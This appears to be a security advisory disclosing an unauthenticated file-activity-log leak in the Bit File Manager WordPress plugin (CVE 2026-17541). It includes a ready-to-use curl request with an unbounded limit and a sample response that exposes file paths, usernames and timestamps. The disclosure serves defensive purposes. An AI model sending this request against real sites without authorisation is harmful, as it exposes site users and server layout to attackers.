Bit File Manager < 6.9.1 – Unauthenticated File Activity Log Disclosure | CVE 2026-17541

Description

The plugin does not have authorisation checks on one of its REST API routes, allowing unauthenticated users to read its file activity log, disclosing the file operations performed on the site, the paths involved and the name of the user who performed them.

Proof of Concept

Prerequisites:

1. Bit File Manager <= 6.9 active. No plugin configuration is required: the REST route is registered on a stock install, and the activity log has no on/off setting.
2. The site must have run Bit File Manager 6.8.8 or earlier at some point and since been updated. Versions up to 6.8.8 create the activity-log table correctly, and the 6.8.9 upgrade routine renames it in place, preserving all rows. On installations first created on 6.8.9 or later the table is never created (the installer references migration classes by names that do not match the shipped files), and the endpoint returns an empty result set on those.
3. At least one file operation performed through the File Manager by an authorised user.

Steps:

1. As an administrator, open WP Admin > File Manager and perform any file operation, for example right-click > New folder, rename a file, or download a file. Every operation is logged automatically. The resulting entries are visible to authorised users only, at WP Admin > File Manager > Logs.

2. Log out completely, or use a fresh HTTP client that sends no cookies. Send the following request. No cookie, no nonce and no Authorization header are required:

curl -s -X POST 'https://victim.example/wp-json/file-manager/v1/logs/all' \
     -H 'Content-Type: application/json' \
     -d '{"pageNo":1,"limit":1000}'

3. The server responds HTTP 200 with the complete activity log. The "limit" parameter is attacker-controlled and unbounded, so the whole table is returned in a single request, and "data.count" reports the total number of stored entries.

Example response (abridged):

{
  "status": "success",
  "code": "SUCCESS",
  "data": {
    "count": "4",
    "logs": [
      {
        "id": "4",
        "user_id": "2",
        "command": "file",
        "details": {
          "driver": "elFinderVolumeLocalFileSystem",
          "files": [{ "path": "wp-config.php", "hash": "l1_d3AtY29uZmlnLnBocA" }]
        },
        "created_at": "2026-07-27 09:47:03",
        "user": { "ID": "2", "display_name": "Simple Admin" }
      },
      {
        "id": "2",
        "user_id": "2",
        "command": "mkfile",
        "details": {
          "driver": "elFinderVolumeLocalFileSystem",
          "files": [{ "path": "/var/www/html", "hash": "l1_Lw" }]
        },
        "created_at": "2026-07-27 09:46:51",
        "user": { "ID": "2", "display_name": "Simple Admin" }
      }
    ],
    "pages": 0,
    "current": 1
  }
}

Each entry discloses the file operation performed, the path of the file or folder involved (an absolute server path when the operation targets the volume root), the ID and display name of the user who performed it, and the timestamp. No file contents are returned.